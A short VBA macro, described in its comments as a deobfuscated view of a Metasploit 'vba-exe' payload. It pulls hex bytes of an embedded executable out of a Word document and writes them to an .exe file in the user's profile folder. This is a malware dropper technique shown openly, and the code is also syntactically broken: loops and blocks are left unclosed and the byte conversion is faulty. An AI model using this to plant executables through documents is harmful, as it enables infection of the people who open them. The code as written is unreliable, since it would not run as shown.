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' This is a deobfuscated view of the 'vba-exe' output format of metasploit payload
' This macro searches for a marker paragraph, namely "marker" in the example below
' and then loads all paragraphs coming next, as a sequence of bytes, then saves it to
' a local file.
' Example, in the word document:
' marker
' &H4d&H5a&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00 ....
Sub DecodeAndSaveEmbeddedFile()
Dim p As Paragraph
Dim Text As String
Dim MarkerFound As Boolean
Dim Counter As Integer
Dim FileHandle As Integer
Dim b As Byte
Dim UserProfile As String
UserProfile = Environ("USERPROFILE")
FileHandle = FreeFile()
Open UserProfile + "\whatever.exe" For Binary As FileHandle
For Each p In ActiveDocument.Paragraphs
Text = p.Range.Text
If (MarkerFound = True) Then
Counter = 1
While (Counter < Len(Text))
b = Mid(Text, Counter, 4)
Put #FileHandle, , b
Counter = Counter + 4
ElseIf (InStr(1, Text, "marker") > 0 And Len(Text) > 0) Then
MarkerFound = True
End If
Close #FileHandle
End Sub
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